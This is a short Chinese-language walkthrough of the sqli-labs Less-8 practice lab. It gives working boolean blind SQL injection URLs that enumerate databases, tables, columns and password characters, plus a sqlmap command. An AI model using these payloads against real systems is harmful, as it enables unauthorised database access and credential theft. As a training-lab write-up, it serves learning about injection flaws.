sqli-labs less8
阿新 • • 發佈:2021-01-10
一、輸入id,頁面正常
http://127.0.0.1/sqli-labs-master/Less-8/?id=1
二、判斷閉合方式以及注入方式
1.新增單引號,顯示錯誤頁面且無報錯資訊
http://127.0.0.1/sqli-labs-master/Less-8/?id=1'
2.添加註釋符,頁面正常顯示,則閉合方式為單引號
http://127.0.0.1/sqli-labs-master/Less-8/?id=1'--+
3.由於沒顯示錯誤資訊,所以選擇盲注,這關提示用布林盲注
三、判斷資料庫數量,等於6時頁面顯示正常,說明有6個數據庫
http://127.0.0.1/sqli- labs-master/Less-8/?id=1' and (select count(schema_name) from information_schema.schemata)=6 --+
#更改limit來切換要爆破的資料庫
#更改substr函式的第二個引數,來確定爆破某一資料庫名的第幾位字母
#用ascii函式判斷時,可先用大於號小於號判斷範圍,再用等於號確定
四、爆資料庫,逐位猜測,如果判斷正確頁面會正常顯示,判斷錯誤就顯示非正常頁面
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select schema_name from information_schema.schemata limit 0,1),1,1))=105--+
五、判斷某一資料庫表的數量
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select count(table_name) from information_schema.tables where table_schema='security')>3 --+
六、爆表名,逐位猜測
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=' security' limit 0,1),1,1))>100--+
七、判斷某一表的列數
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select count(column_name) from information_schema.columns where table_name='users')>5 --+
八、爆列名,逐位猜測
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1))>80--+
九、判斷某一列有多少行資料
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and (select count(username) from users)>16--+
十、爆資料,逐位猜測
http://127.0.0.1/sqli-labs-master/Less-8/?id=1' and ascii(substr((select password from users limit 0,1),1,1))=50--+
用盲注的方法手動注入比較耗時,可使用sqlmap進行自動注入
爆資料庫
python sqlmap.py -u "127.0.0.1/sqli-labs-master/Less-8/?id=1" -batch -dbms mysql -dbs
over~